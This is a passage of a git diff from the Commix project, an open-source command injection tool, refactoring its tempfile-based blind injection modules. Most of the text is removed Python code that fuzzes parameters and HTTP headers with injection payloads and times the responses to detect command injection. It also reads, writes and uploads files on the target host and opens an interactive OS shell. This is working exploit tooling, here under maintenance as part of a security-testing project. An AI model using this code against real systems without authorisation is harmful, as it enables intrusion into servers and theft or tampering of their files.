timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - -# eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py deleted file mode 100755 index 382d196197..0000000000 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ /dev/null @@ -1,146 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" - The "tempfile-based" injection technique on Semiblind OS Command Injection. - __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - _ = True - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0 and not _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 25e2c5a841..4fcaef090c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -13,417 +13,20 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -import base64 -from src.utils import menu -from src.utils import logs from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads -from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration -from src.core.injections.semiblind.techniques.tempfile_based import tfb_file_access +from src.core.injections.controller import handler """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. """ -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - """ The "tempfile-based" injection technique handler """ -def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - injection_type = settings.INJECTION_TYPE.SEMI_BLIND - technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED - - if settings.TIME_RELATIVE_ATTACK == False: - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = None - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - checks.reload_url_msg(technique) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - settings.MAXLEN = maxlen = menu.options.maxlen - - if not settings.LOAD_SESSION: - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - - checks.testing_technique_title(injection_type, technique) - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION: - try: - settings.TEMPFILE_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT - except TypeError: - checks.error_loading_session_file() - - else: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT - alter_shell = menu.options.alter_shell - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell : - payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - - if checks.time_relative_shell(url_time_response, how_long, timesec): - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - #break - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - - except (KeyboardInterrupt, SystemExit): - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_relative_shell(url_time_response, how_long, timesec): - - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == settings.OS.WINDOWS: - time.sleep(1) - - # Check for any enumeration options. - tfb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Check for any system file access options. - tfb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - if len(output) > 1: - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - checks.time_delay_recommendation() - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "exit": - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - settings.print_data_to_stdout(settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.print_data_to_stdout(settings.END_LINE.CR) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.print_data_to_stdout(settings.END_LINE.CR) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -435,9 +38,11 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True - if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: - settings.TIME_RELATIVE_ATTACK = False - settings.TEMPFILE_BASED_STATE = False + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED + + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + settings.TIME_RELATIVE_ATTACK = settings.TEMPFILE_BASED_STATE = False return False # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 8a11fcb2a8..7b6638235d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -13,516 +13,23 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.utils import common -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads +from src.core.injections.controller import injector """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else : - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - payload = payload.replace("#","%23") - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, 